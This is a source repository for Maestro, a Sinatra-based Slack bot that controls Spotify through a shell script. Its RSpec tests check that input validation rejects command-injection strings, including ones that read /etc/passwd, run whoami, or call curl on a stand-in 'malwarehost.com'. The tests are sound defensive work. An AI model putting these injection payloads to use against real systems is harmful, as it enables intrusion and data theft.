├── shpotify.cfg
├── roboto.png
├── maestro.png
├── .travis.yml
├── Gemfile
├── Gemfile.lock
├── app.rb
├── spec
    ├── maestro_spec.rb
    └── spotify_spec.rb
├── spotify.rb
├── README.md
├── .rubocop.yml
└── spotify.sh


/shpotify.cfg:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/roboto.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/smashingboxes/maestro/HEAD/roboto.png


--------------------------------------------------------------------------------
/maestro.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/smashingboxes/maestro/HEAD/maestro.png


--------------------------------------------------------------------------------
/.travis.yml:
--------------------------------------------------------------------------------
1 | language: ruby
2 | script:
3 |   - bundle exec rubocop
4 |   - bundle exec rspec
5 |   - bundle exec bundler-audit
6 | 


--------------------------------------------------------------------------------
/Gemfile:
--------------------------------------------------------------------------------
 1 | source "https://rubygems.org"
 2 | 
 3 | gem "sinatra"
 4 | 
 5 | group :development, :test do
 6 |   gem "pry-byebug"
 7 |   gem "rubocop"
 8 | end
 9 | 
10 | group :test do
11 |   gem "rspec"
12 |   gem "rack-test"
13 |   gem "bundler-audit"
14 | end
15 | 


--------------------------------------------------------------------------------
/Gemfile.lock:
--------------------------------------------------------------------------------
 1 | GEM
 2 |   remote: https://rubygems.org/
 3 |   specs:
 4 |     ast (2.4.0)
 5 |     bundler-audit (0.6.0)
 6 |       bundler (~> 1.2)
 7 |       thor (~> 0.18)
 8 |     byebug (9.1.0)
 9 |     coderay (1.1.2)
10 |     diff-lcs (1.3)
11 |     method_source (0.9.0)
12 |     mustermann (1.0.2)
13 |     parallel (1.12.1)
14 |     parser (2.5.0.3)
15 |       ast (~> 2.4.0)
16 |     powerpack (0.1.1)
17 |     pry (0.11.3)
18 |       coderay (~> 1.1.0)
19 |       method_source (~> 0.9.0)
20 |     pry-byebug (3.5.0)
21 |       byebug (~> 9.1)
22 |       pry (~> 0.10)
23 |     rack (2.0.5)
24 |     rack-protection (2.0.3)
25 |       rack
26 |     rack-test (0.8.3)
27 |       rack (>= 1.0, < 3)
28 |     rainbow (3.0.0)
29 |     rspec (3.7.0)
30 |       rspec-core (~> 3.7.0)
31 |       rspec-expectations (~> 3.7.0)
32 |       rspec-mocks (~> 3.7.0)
33 |     rspec-core (3.7.1)
34 |       rspec-support (~> 3.7.0)
35 |     rspec-expectations (3.7.0)
36 |       diff-lcs (>= 1.2.0, < 2.0)
37 |       rspec-support (~> 3.7.0)
38 |     rspec-mocks (3.7.0)
39 |       diff-lcs (>= 1.2.0, < 2.0)
40 |       rspec-support (~> 3.7.0)
41 |     rspec-support (3.7.1)
42 |     rubocop (0.52.1)
43 |       parallel (~> 1.10)
44 |       parser (>= 2.4.0.2, < 3.0)
45 |       powerpack (~> 0.1)
46 |       rainbow (>= 2.2.2, < 4.0)
47 |       ruby-progressbar (~> 1.7)
48 |       unicode-display_width (~> 1.0, >= 1.0.1)
49 |     ruby-progressbar (1.9.0)
50 |     sinatra (2.0.3)
51 |       mustermann (~> 1.0)
52 |       rack (~> 2.0)
53 |       rack-protection (= 2.0.3)
54 |       tilt (~> 2.0)
55 |     thor (0.20.0)
56 |     tilt (2.0.8)
57 |     unicode-display_width (1.3.0)
58 | 
59 | PLATFORMS
60 |   ruby
61 | 
62 | DEPENDENCIES
63 |   bundler-audit
64 |   pry-byebug
65 |   rack-test
66 |   rspec
67 |   rubocop
68 |   sinatra
69 | 
70 | BUNDLED WITH
71 |    1.16.1
72 | 


--------------------------------------------------------------------------------
/app.rb:
--------------------------------------------------------------------------------
 1 | require "sinatra"
 2 | require "json"
 3 | require "./spotify.rb"
 4 | 
 5 | HELP_TEXT = <<~HELP_TEXT.freeze
 6 |   Usage:
 7 |   `/maestro play` -- Resumes playback where Spotify last left off.
 8 |   `/maestro play <song name>` -- Finds a song by name and plays it.
 9 |   `/maestro play album <album name>` -- Finds an album by name and plays it.
10 |   `/maestro play artist <artist name>` -- Finds an artist by name and plays it.
11 |   `/maestro play list <playlist name>` -- Finds a playlist by name and plays it.
12 |   `/maestro play uri <uri>` -- Play songs from specific uri.
13 | 
14 |   `/maestro next` -- Skips to the next song in a playlist.
15 |   `/maestro prev` -- Returns to the previous song in a playlist.
16 |   `/maestro replay` -- Replays the current track from the begining.
17 |   `/maestro pos <time>` -- Jumps to a time (in secs) in the current song.
18 |   `/maestro pause` -- Pauses (or resumes) Spotify playback.
19 |   `/maestro stop` -- Stops playback.
20 |   `/maestro quit` -- Stops playback and quits Spotify.
21 |   `/maestro restart` -- Quits and restarts Spotify.
22 | 
23 |   `/maestro vol up` -- Increases the volume by 10%.
24 |   `/maestro vol down` -- Decreases the volume by 10%.
25 |   `/maestro vol <amount>` -- Sets the volume to an amount between 0 and 100.
26 |   `/maestro vol` -- Shows the current Spotify volume.
27 | 
28 |   `/maestro status` -- Shows the current player status.
29 | 
30 |   `/maestro share` -- Displays the current song's Spotify URL and URI.
31 |   `/maestro share url` -- Displays the current song's Spotify URL.
32 |   `/maestro share uri` -- Displays the current song's Spotify URI.
33 | 
34 |   `/maestro toggle shuffle` -- Toggles shuffle playback mode.
35 |   `/maestro toggle repeat` -- Toggles repeat playback mode.
36 | HELP_TEXT
37 | 
38 | # Find methods unique to Spotify class
39 | VALID_COMMANDS = (Spotify.public_methods - Object.public_methods).freeze
40 | 
41 | def process_spotify_command(args)
42 |   command, *params = *split_args(args)
43 |   command = command.downcase.to_sym
44 |   return [HELP_TEXT, true] if args == "help" || !VALID_COMMANDS.include?(command)
45 |   Spotify.public_send(*format_params(command, params))
46 | end
47 | 
48 | def format_params(command, params)
49 |   [command, params.join(" ")].reject(&:empty?)
50 | end
51 | 
52 | def split_args(args)
53 |   args.split(" ")
54 | end
55 | 
56 | post "/maestro" do
57 |   output, success = process_spotify_command(params["text"])
58 | 
59 |   response_code = success ? 200 : 422
60 |   body = { response_type: "in_channel", text: output }
61 | 
62 |   content_type :json
63 | 
64 |   [response_code, body.to_json]
65 | end
66 | 


--------------------------------------------------------------------------------
/spec/maestro_spec.rb:
--------------------------------------------------------------------------------
  1 | ENV["RACK_ENV"] = "test"
  2 | 
  3 | require "rspec"
  4 | require "rack/test"
  5 | require "json"
  6 | require "pry-byebug"
  7 | require_relative "../app"
  8 | require_relative "../spotify"
  9 | 
 10 | describe "Maestro" do
 11 |   include Rack::Test::Methods
 12 | 
 13 |   subject { post "/maestro", params }
 14 |   let(:params) { { text: text } }
 15 |   let(:text) { "" }
 16 | 
 17 |   def app
 18 |     Sinatra::Application
 19 |   end
 20 | 
 21 |   def json_response
 22 |     JSON.parse(last_response.body)
 23 |   end
 24 | 
 25 |   shared_examples_for "a valid maestro command" do
 26 |     let(:expected_args) { any_args }
 27 |     it "invokes the correct Spotify method with the correct arguments" do
 28 |       expect(Spotify).to receive(expected_command).with(expected_args)
 29 |       subject
 30 |     end
 31 |   end
 32 | 
 33 |   shared_examples_for "it displays the help text" do
 34 |     it "returns the usage text" do
 35 |       subject
 36 |       expect(last_response).to be_ok
 37 |       expect(json_response["response_type"]).to eq("in_channel")
 38 |       expect(json_response["text"]).to include("Usage:")
 39 |       expect(json_response["text"]).to include("/maestro")
 40 |       expect(json_response["text"]).to_not include("CLIENT_ID")
 41 |       expect(json_response["text"]).to_not include("CLIENT_SECRET")
 42 |     end
 43 |   end
 44 | 
 45 |   describe "/maestro help" do
 46 |     let(:text) { "help" }
 47 | 
 48 |     it_behaves_like "it displays the help text"
 49 |   end
 50 | 
 51 |   describe "Valid command" do
 52 |     context "command with no args" do
 53 |       let(:text) { "stop" }
 54 |       let(:expected_command) { :stop }
 55 | 
 56 |       it_behaves_like "a valid maestro command"
 57 |     end
 58 | 
 59 |     context "mixed case" do
 60 |       let(:text) { "sToP" }
 61 |       let(:expected_command) { :stop }
 62 | 
 63 |       it_behaves_like "a valid maestro command"
 64 |     end
 65 | 
 66 |     context "command with args" do
 67 |       let(:text) { "pos #{time}" }
 68 |       let(:expected_command) { :pos }
 69 | 
 70 |       context "with a valid number" do
 71 |         let(:time) { "34" }
 72 | 
 73 |         it_behaves_like "a valid maestro command" do
 74 |           let(:expected_args) { time }
 75 |         end
 76 |       end
 77 |     end
 78 | 
 79 |     context "with a uri" do
 80 |       let(:text) { "play uri #{uri}" }
 81 |       let(:expected_command) { :play }
 82 |       let(:uri) { "spotify:track:6n50vexd6yBNvSOc6QHT5X" }
 83 | 
 84 |       it_behaves_like "a valid maestro command" do
 85 |         let(:expected_args) {  "uri #{uri}" }
 86 |       end
 87 |     end
 88 |   end
 89 | 
 90 |   describe "Invalid command" do
 91 |     let(:text) { "bogus" }
 92 | 
 93 |     it_behaves_like "it displays the help text"
 94 |   end
 95 | 
 96 |   describe "Bash command execution" do
 97 |     let(:text) { "status; ls" }
 98 | 
 99 |     it_behaves_like "it displays the help text"
100 |   end
101 | end
102 | 


--------------------------------------------------------------------------------
/spotify.rb:
--------------------------------------------------------------------------------
  1 | class Spotify
  2 |   APP_PATH = "/Applications/Spotify.app".freeze # TODO: Make this configurable
  3 |   VALID_TOGGLES = %w(shuffle repeat).freeze
  4 |   VALID_SHARES = %w(url uri).freeze
  5 |   NAME_REGEX = /\A[a-z0-9\.\-_\s]*\z/i
  6 |   URI_REGEX = %r{
  7 |   \A
  8 |     uri\s
  9 |     spotify:(track|album|artist|user):
 10 |     ([a-z0-9]+(:playlist:))*
 11 |     (spotify:playlist:)?
 12 |     [a-z0-9]{22}
 13 |   \z
 14 |   }ix
 15 | 
 16 |   class << self
 17 |     def play(play_args = "")
 18 |       return invalid_command unless valid_play?(play_args)
 19 |       send_command("play #{play_args}")
 20 |     end
 21 | 
 22 |     def pause
 23 |       send_command("pause")
 24 |     end
 25 | 
 26 |     def stop
 27 |       send_command("stop")
 28 |     end
 29 | 
 30 |     def next
 31 |       send_command("next")
 32 |     end
 33 | 
 34 |     alias_method :skip, :next
 35 | 
 36 |     def prev
 37 |       send_command("prev")
 38 |     end
 39 | 
 40 |     def replay
 41 |       send_command("replay")
 42 |     end
 43 | 
 44 |     def restart
 45 |       quit
 46 |       sleep(5) # Give Spotify a few seconds to shut down
 47 |       `open #{APP_PATH}`
 48 |       output = $?.success? ? "Spotify has been restarted" : "I had some trouble restarting Spotify"
 49 |       [output, $?.success?]
 50 |     end
 51 | 
 52 |     def pos(time)
 53 |       return invalid_command unless time == time.to_i
 54 |       send_command("pos #{time.to_i}")
 55 |     end
 56 | 
 57 |     def quit
 58 |       send_command("quit")
 59 |     end
 60 | 
 61 |     def status
 62 |       send_command("status")
 63 |     end
 64 | 
 65 |     def share(share_item)
 66 |       return invalid_command unless valid_share?(share_item)
 67 |       send_command("share #{share_item}")
 68 |     end
 69 | 
 70 |     def toggle(toggle_item)
 71 |       return invalid_command unless valid_toggle?(toggle_item)
 72 |       send_command("toggle #{toggle_item}")
 73 |     end
 74 | 
 75 |     def vol(change = "")
 76 |       return invalid_command unless valid_volume_change?(change)
 77 |       send_command("vol #{change}")
 78 |     end
 79 | 
 80 |     private
 81 | 
 82 |     def send_command(command)
 83 |       output = `./spotify.sh #{command.rstrip}`
 84 |       output = HELP_TEXT unless $?.success?
 85 |       [output, $?.success?]
 86 |     end
 87 | 
 88 |     def invalid_command
 89 |       [HELP_TEXT, false]
 90 |     end
 91 | 
 92 |     def valid_volume_change?(vol_arg)
 93 |       if vol_arg == vol_arg.to_i.to_s
 94 |         vol_arg.to_i.between?(0, 100)
 95 |       else
 96 |         ["", "up", "down", "fadeout"].include?(vol_arg)
 97 |       end
 98 |     end
 99 | 
100 |     def valid_toggle?(toggle_item)
101 |       VALID_TOGGLES.include?(toggle_item)
102 |     end
103 | 
104 |     def valid_share?(share_item)
105 |       VALID_SHARES.include?(share_item) || share_item.empty?
106 |     end
107 | 
108 |     def valid_play?(play_args)
109 |       return true if play_args.empty?
110 |       return validate_uri(play_args) if uri_provided?(play_args)
111 |       validate_name(play_args)
112 |     end
113 | 
114 |     def validate_uri(uri)
115 |       URI_REGEX.match(uri)
116 |     end
117 | 
118 |     def validate_name(name)
119 |       NAME_REGEX.match(name)
120 |     end
121 | 
122 |     def play_command(play_args)
123 |       play_args.split(" ").first
124 |     end
125 | 
126 |     def uri_provided?(play_args)
127 |       play_command(play_args) == "uri"
128 |     end
129 |   end
130 | end
131 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # Maestro
 2 | 
 3 | <img src="./roboto.png" width=270/>
 4 | 
 5 | A Slack-Powered music bot for Spotify, using [Sinatra](http://sinatrarb.com/) and [shpotify](https://github.com/hnarayanan/shpotify).
 6 | 
 7 | ## Getting Started
 8 | 
 9 | The first thing you'll need to run Maestro is a computer to run it from. It'll need to be running
10 | **OSX, with [homebrew](https://brew.sh/) installed**. It'll also need **Ruby**, which comes
11 | pre-installed with OSX, so you should be good there. Lastly, but most importantly, this computer
12 | is the one that will be playing the music, so it'll either need
13 | **good speakers, or a headphone jack** to plug a sound system into.
14 | 
15 | Once you've got a computer to run it on, you can install Maestro by running the following commands
16 | in a terminal:
17 | 
18 | ```sh
19 | brew install shpotify
20 | 
21 | git clone https://github.com/smashingboxes/maestro.git
22 | cd maestro
23 | bundle install
24 | ```
25 | 
26 | ### Connecting to Spotify's api
27 | 
28 | shpotify needs to connect to Spotify’s API in order to find music by
29 | name. It is very likely you want this feature!
30 | 
31 | To get this to work, you first need to sign up (or into) Spotify’s
32 | developer site and [create an *Application*][spotify-dev]. Once you’ve
33 | done so, you can find its `Client ID` and `Client Secret` values and
34 | enter them into your shpotify config file at `${HOME}/.shpotify.cfg`.
35 | 
36 | Be sure to quote your values and don’t add any extra spaces. When
37 | done, it should look like the following (but with your own values):
38 | 
39 | ```sh
40 | CLIENT_ID="abc01de2fghijk345lmnop"
41 | CLIENT_SECRET="qr6stu789vwxyz"
42 | ```
43 | 
44 | ## Usage
45 | 
46 | ```sh
47 | ruby app.rb
48 | ```
49 | 
50 | This will start up Maestro on port 4567. To use it with Slack, you'll want to configure an external
51 | URL (see "Obtaining an external URL" below), and set up a slash command (see "Creating a slash
52 | command" below).
53 | 
54 | Once that's done, you can interact with it via any command
55 | [shpotify](https://github.com/hnarayanan/shpotify) supports. Here are the most common commands:
56 | 
57 | ```
58 | /maestro play <song name>
59 | /maestro next
60 | /maestro vol up
61 | /maestro vol down
62 | /maestro status
63 | ```
64 | 
65 | ## Configuring Slack
66 | 
67 | ### Obtaining an external URL
68 | 
69 | There are many ways to get an external URL or static IP. The easiest is to use [ngrok]():
70 | 
71 | ```sh
72 | brew cask install ngrok
73 | ngrok http 4567
74 | ```
75 | 
76 | In the output, ngrok will provide you with an external url such as `http://71ca42f4.ngrok.io`,
77 | you'll need that for the next section.
78 | 
79 | **NOTE: If ngrok gets restarted (during a computer restart, for example), a new URL will be
80 | generated. You'll need to update your slash command (created in the next section) with the
81 | new one.**
82 | 
83 | ### Creating a slash command
84 | 
85 | To create a slash command in Slack, go to https://slack.com/apps/A0F82E8CA-slash-commands, click "Add Configuration", and fill in the following settings:
86 | 
87 | - Command: "/maestro"
88 | - URL: Your external URL (from previous section), followed by `/maestro`. So, for example, if your ngrok url is `http://71ca42f4.ngrok.io`, you'd enter `http://71ca42f4.ngrok.io/maestro`
89 | - Method: POST
90 | - Customize Name: Maestro
91 | - Customize Icon: Any icon you'd like. Feel free to use [ours](./maestro.png)
92 | - Autocomplete help text:
93 |   - Check "Show this command in the autocomplete list"
94 |   - Description: https://github.com/hnarayanan/shpotify
95 |   - Usage hint: [shpotify command]
96 | 


--------------------------------------------------------------------------------
/spec/spotify_spec.rb:
--------------------------------------------------------------------------------
  1 | ENV["RACK_ENV"] = "test"
  2 | 
  3 | require "rspec"
  4 | require "pry-byebug"
  5 | require_relative "../app"
  6 | require_relative "../spotify"
  7 | 
  8 | describe "Spotify" do
  9 |   let(:command_stub) { `echo 'hello'` } # Prevent RSpec from executing real commands
 10 | 
 11 |   shared_examples_for "a valid command" do
 12 |     it "executes the correct Shpotify command" do
 13 |       expect(Spotify).to receive(:`).with(expected_command).and_return(command_stub)
 14 |       subject
 15 |     end
 16 |   end
 17 | 
 18 |   shared_examples_for "an invalid command" do
 19 |     it "does not call a system command" do
 20 |       expect(Spotify).to_not receive(:`)
 21 |       subject
 22 |     end
 23 | 
 24 |     it "calls invalid_command" do
 25 |       expect(Spotify).to receive(:invalid_command)
 26 |       subject
 27 |     end
 28 |   end
 29 | 
 30 |   describe ".stop" do
 31 |     subject { Spotify.stop }
 32 |     let(:expected_command) { "./spotify.sh stop" }
 33 | 
 34 |     it_behaves_like "a valid command"
 35 |   end
 36 | 
 37 |   describe ".pause" do
 38 |     subject { Spotify.pause }
 39 |     let(:expected_command) { "./spotify.sh pause" }
 40 | 
 41 |     it_behaves_like "a valid command"
 42 |   end
 43 | 
 44 |   describe ".next" do
 45 |     subject { Spotify.next }
 46 |     let(:expected_command) { "./spotify.sh next" }
 47 | 
 48 |     it_behaves_like "a valid command"
 49 |   end
 50 | 
 51 |   describe ".skip" do
 52 |     subject { Spotify.skip }
 53 |     # skip is an alias of next
 54 |     let(:expected_command) { "./spotify.sh next" }
 55 | 
 56 |     it_behaves_like "a valid command"
 57 |   end
 58 | 
 59 |   describe ".prev" do
 60 |     subject { Spotify.prev }
 61 |     let(:expected_command) { "./spotify.sh prev" }
 62 | 
 63 |     it_behaves_like "a valid command"
 64 |   end
 65 | 
 66 |   describe ".replay" do
 67 |     subject { Spotify.replay }
 68 |     let(:expected_command) { "./spotify.sh replay" }
 69 | 
 70 |     it_behaves_like "a valid command"
 71 |   end
 72 | 
 73 |   describe ".pos" do
 74 |     subject { Spotify.pos(time_in_seconds) }
 75 | 
 76 |     context "with an integer" do
 77 |       let(:time_in_seconds) { rand(0..100) }
 78 |       let(:expected_command) { "./spotify.sh pos #{time_in_seconds}" }
 79 | 
 80 |       it_behaves_like "a valid command"
 81 |     end
 82 | 
 83 |     context "with missing time" do
 84 |       let(:time_in_seconds) { nil }
 85 |       it_behaves_like "an invalid command"
 86 |     end
 87 | 
 88 |     context "when not a number" do
 89 |       let(:time_in_seconds) { "some string" }
 90 |       it_behaves_like "an invalid command"
 91 |     end
 92 |   end
 93 | 
 94 |   describe ".vol" do
 95 |     subject { Spotify.vol(vol_args) }
 96 |     let(:expected_command) { "./spotify.sh vol #{vol_args}".rstrip }
 97 | 
 98 |     context "up" do
 99 |       let(:vol_args) { "up" }
100 | 
101 |       it_behaves_like "a valid command"
102 |     end
103 | 
104 |     context "down" do
105 |       let(:vol_args) { "down" }
106 | 
107 |       it_behaves_like "a valid command"
108 |     end
109 | 
110 |     context "with a volume integer" do
111 |       # to_s since args come from app.rb as strings
112 |       let(:vol_args) { rand(0..100).to_s }
113 | 
114 |       it_behaves_like "a valid command"
115 |     end
116 | 
117 |     context "with no vol" do
118 |       # Show current volume
119 |       subject { Spotify.vol }
120 |       let(:expected_command) { "./spotify.sh vol" }
121 |       it_behaves_like "a valid command"
122 |     end
123 | 
124 |     context "with invalid input" do
125 |       let(:vol_args) { "30; cat /etc/passwd" }
126 |       it_behaves_like "an invalid command"
127 |     end
128 |   end
129 | 
130 |   describe ".status" do
131 |     subject { Spotify.status }
132 |     let(:expected_command) { "./spotify.sh status" }
133 | 
134 |     it_behaves_like "a valid command"
135 |   end
136 | 
137 |   describe ".share" do
138 |     subject { Spotify.share(share_args) }
139 |     let(:expected_command) { "./spotify.sh share #{share_args}".rstrip }
140 | 
141 |     context "empty string" do
142 |       let(:share_args) { "" }
143 | 
144 |       it_behaves_like "a valid command"
145 |     end
146 | 
147 |     context "uri" do
148 |       let(:share_args) { "uri" }
149 |       let(:expected_command) { "./spotify.sh share #{share_args}" }
150 | 
151 |       it_behaves_like "a valid command"
152 |     end
153 | 
154 |     context "url" do
155 |       let(:share_args) { "url" }
156 |       let(:expected_command) { "./spotify.sh share url" }
157 | 
158 |       it_behaves_like "a valid command"
159 |     end
160 |   end
161 | 
162 |   describe ".toggle" do
163 |     subject { Spotify.toggle(toggle_args) }
164 |     let(:expected_command) { "./spotify.sh toggle #{toggle_args}".rstrip }
165 | 
166 |     context "empty string" do
167 |       let(:toggle_args) { "" }
168 | 
169 |       it_behaves_like "an invalid command"
170 |     end
171 | 
172 |     context "invalid toggle" do
173 |       let(:toggle_args) { "invalid" }
174 | 
175 |       it_behaves_like "an invalid command"
176 |     end
177 | 
178 |     context "shuffle" do
179 |       let(:toggle_args) { "shuffle" }
180 |       let(:expected_command) { "./spotify.sh toggle #{toggle_args}" }
181 | 
182 |       it_behaves_like "a valid command"
183 |     end
184 | 
185 |     context "repeat" do
186 |       let(:toggle_args) { "repeat" }
187 |       let(:expected_command) { "./spotify.sh toggle repeat" }
188 | 
189 |       it_behaves_like "a valid command"
190 |     end
191 |   end
192 | 
193 |   describe ".play" do
194 |     subject { Spotify.play(play_args) }
195 |     let(:expected_command) { "./spotify.sh play #{play_args}" }
196 | 
197 |     context "with no args" do
198 |       subject { Spotify.play }
199 |       let(:expected_command) { "./spotify.sh play" }
200 |       it_behaves_like "a valid command"
201 |     end
202 | 
203 |     context "search by song" do
204 |       let(:play_args) { "like light to the flies" }
205 |       it_behaves_like "a valid command"
206 |     end
207 | 
208 |     context "search by artist" do
209 |       let(:play_args) { "artist Trivium" }
210 |       it_behaves_like "a valid command"
211 |     end
212 | 
213 |     context "search by album" do
214 |       let(:play_args) { "album In Waves" }
215 |       it_behaves_like "a valid command"
216 |     end
217 | 
218 |     context "search by playlist" do
219 |       let(:play_args) { "list this.is_my playlist" }
220 |       it_behaves_like "a valid command"
221 |     end
222 | 
223 |     context "search by uri" do
224 |       let(:play_args) { "uri spotify:track:4hk0OBunwz04gknkfNLzUn" }
225 |       it_behaves_like "a valid command"
226 |     end
227 | 
228 |     context "command injection with &&" do
229 |       let(:play_args) { "artist Trivium && whoami" }
230 | 
231 |       it_behaves_like "an invalid command"
232 |     end
233 | 
234 |     context "command injection with ||" do
235 |       let(:play_args) { "list some_playlist || curl malwarehost.com" }
236 | 
237 |       it_behaves_like "an invalid command"
238 |     end
239 | 
240 |     context "command injection with ;" do
241 |       let(:play_args) { "list some_playlist; curl malwarehost.com" }
242 | 
243 |       it_behaves_like "an invalid command"
244 |     end
245 |   end
246 | 
247 |   describe ".quit" do
248 |     subject { Spotify.quit }
249 |     let(:expected_command) { "./spotify.sh quit" }
250 | 
251 |     it_behaves_like "a valid command"
252 |   end
253 | 
254 |   describe ".restart" do
255 |     subject { Spotify.restart }
256 |     let(:quit) { "./spotify.sh quit" }
257 |     let(:open) { "open #{Spotify::APP_PATH}" }
258 | 
259 |     before { allow(Spotify).to receive(:sleep) }
260 | 
261 |     it "restarts Spotify" do
262 |       expect(Spotify).to receive(:`).with(quit).once
263 |       expect(Spotify).to receive(:`).with(open).once.and_return(command_stub)
264 |       subject
265 |     end
266 |   end
267 | end
268 | 


--------------------------------------------------------------------------------
/.rubocop.yml:
--------------------------------------------------------------------------------
  1 | AllCops:
  2 |   TargetRubyVersion: 2.3
  3 |   Exclude:
  4 |     - "vendor/**/*"
  5 |     - "db/schema.rb"
  6 |     - "db/migrate/*"
  7 |     - "bin/*"
  8 |     - "lib/files/cucumber.rake"
  9 |     - "lib/tasks/*"
 10 |     - "config/initializers/*"
 11 |     - "Vagrantfile"
 12 |     - "Rakefile"
 13 |     - "tmp/*"
 14 |   UseCache: false
 15 | Bundler/OrderedGems:
 16 |   Enabled: false
 17 | Layout/TrailingBlankLines:
 18 |   Description: 'Checks trailing blank lines and final newline.'
 19 |   StyleGuide: '#newline-eof'
 20 |   Enabled: false
 21 | Naming/AccessorMethodName:
 22 |   Description: Check the naming of accessor methods for get_/set_.
 23 |   Enabled: false
 24 | Naming/FileName:
 25 |   Description: Use snake_case for source file names.
 26 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#snake-case-files
 27 |   Enabled: false
 28 |   Exclude: []
 29 | Naming/PredicateName:
 30 |   Description: Check the names of predicate methods.
 31 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#bool-methods-qmark
 32 |   Enabled: false
 33 |   NamePrefix:
 34 |   - is_
 35 |   - has_
 36 |   - have_
 37 |   NamePrefixBlacklist:
 38 |   - is_
 39 |   Exclude:
 40 |   - spec/**/*
 41 | Style/CollectionMethods:
 42 |   Description: Preferred collection methods.
 43 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#map-find-select-reduce-size
 44 |   Enabled: false
 45 |   PreferredMethods:
 46 |     collect: map
 47 |     collect!: map!
 48 |     find_all: select
 49 |     reduce: inject
 50 | Layout/DotPosition:
 51 |   Description: Checks the position of the dot in multi-line method calls.
 52 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#consistent-multi-line-chains
 53 |   Enabled: true
 54 |   EnforcedStyle: leading
 55 |   SupportedStyles:
 56 |   - leading
 57 |   - trailing
 58 | Style/AsciiComments:
 59 |   Enabled: false
 60 | Style/Lambda:
 61 |   Enabled: false
 62 | Style/GuardClause:
 63 |   Description: Check for conditionals that can be replaced with guard clauses
 64 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#no-nested-conditionals
 65 |   Enabled: false
 66 |   MinBodyLength: 1
 67 | Style/IfUnlessModifier:
 68 |   Description: Favor modifier if/unless usage when you have a single-line body.
 69 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#if-as-a-modifier
 70 |   Enabled: false
 71 | Style/OptionHash:
 72 |   Description: Don't use option hashes when you can use keyword arguments.
 73 |   Enabled: false
 74 | Style/PercentLiteralDelimiters:
 75 |   Description: Use `%`-literal delimiters consistently
 76 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#percent-literal-braces
 77 |   Enabled: false
 78 |   PreferredDelimiters:
 79 |     "%": "()"
 80 |     "%i": "()"
 81 |     "%q": "()"
 82 |     "%Q": "()"
 83 |     "%r": "{}"
 84 |     "%s": "()"
 85 |     "%w": "()"
 86 |     "%W": "()"
 87 |     "%x": "()"
 88 | Style/RaiseArgs:
 89 |   Description: Checks the arguments passed to raise/fail.
 90 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#exception-class-messages
 91 |   Enabled: false
 92 |   EnforcedStyle: exploded
 93 |   SupportedStyles:
 94 |   - compact
 95 |   - exploded
 96 | Style/SignalException:
 97 |   Description: Checks for proper usage of fail and raise.
 98 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#fail-method
 99 |   Enabled: false
100 |   EnforcedStyle: semantic
101 |   SupportedStyles:
102 |   - only_raise
103 |   - only_fail
104 |   - semantic
105 | Style/SingleLineBlockParams:
106 |   Description: Enforces the names of some block params.
107 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#reduce-blocks
108 |   Enabled: false
109 |   Methods:
110 |   - reduce:
111 |     - a
112 |     - e
113 |   - inject:
114 |     - a
115 |     - e
116 | Style/SingleLineMethods:
117 |   Description: Avoid single-line methods.
118 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#no-single-line-methods
119 |   Enabled: false
120 |   AllowIfMethodIsEmpty: true
121 | Style/StringLiterals:
122 |   Enabled: true
123 |   EnforcedStyle: double_quotes
124 | Style/StringLiteralsInInterpolation:
125 |   Description: Checks if uses of quotes inside expressions in interpolated strings
126 |     match the configured preference.
127 |   Enabled: false
128 |   EnforcedStyle: single_quotes
129 |   SupportedStyles:
130 |   - double_quotes
131 |   - single_quotes
132 | Style/TrailingCommaInArguments:
133 |   Description: Checks for trailing comma in argument lists.
134 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#no-trailing-array-commas
135 |   Enabled: false
136 |   EnforcedStyleForMultiline: no_comma
137 |   SupportedStylesForMultiline:
138 |   - comma
139 |   - consistent_comma
140 |   - no_comma
141 | Style/TrailingCommaInArrayLiteral:
142 |   Description: Checks for trailing comma in hash literals.
143 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#no-trailing-array-commas
144 |   Enabled: false
145 |   EnforcedStyleForMultiline: no_comma
146 |   SupportedStylesForMultiline:
147 |   - comma
148 |   - consistent_comma
149 |   - no_comma
150 | Metrics/AbcSize:
151 |   Description: A calculated magnitude based on number of assignments, branches, and
152 |     conditions.
153 |   Enabled: false
154 |   Max: 15
155 | Metrics/BlockLength:
156 |   Enabled: false
157 | Metrics/ClassLength:
158 |   Description: Avoid classes longer than 100 lines of code.
159 |   Enabled: false
160 |   CountComments: false
161 |   Max: 100
162 | Metrics/ModuleLength:
163 |   CountComments: false
164 |   Max: 100
165 |   Description: Avoid modules longer than 100 lines of code.
166 |   Enabled: false
167 | Metrics/CyclomaticComplexity:
168 |   Description: A complexity metric that is strongly correlated to the number of test
169 |     cases needed to validate a method.
170 |   Enabled: false
171 |   Max: 6
172 | Metrics/MethodLength:
173 |   Description: Avoid methods longer than 10 lines of code.
174 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#short-methods
175 |   Enabled: false
176 |   CountComments: false
177 |   Max: 10
178 | Metrics/ParameterLists:
179 |   Description: Avoid parameter lists longer than three or four parameters.
180 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#too-many-params
181 |   Enabled: false
182 |   Max: 5
183 |   CountKeywordArgs: true
184 | Metrics/PerceivedComplexity:
185 |   Description: A complexity metric geared towards measuring complexity for a human
186 |     reader.
187 |   Enabled: false
188 |   Max: 7
189 | Metrics/LineLength:
190 |   Max: 100
191 |   # To make it possible to copy or click on URIs in the code, we allow lines
192 |   # contaning a URI to be longer than Max.
193 |   IgnoredPatterns: ['\A\s*#']
194 |   AllowURI: true
195 |   URISchemes:
196 |     - http
197 |     - https
198 | Lint/AssignmentInCondition:
199 |   Description: Don't use assignment in conditions.
200 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#safe-assignment-in-condition
201 |   Enabled: false
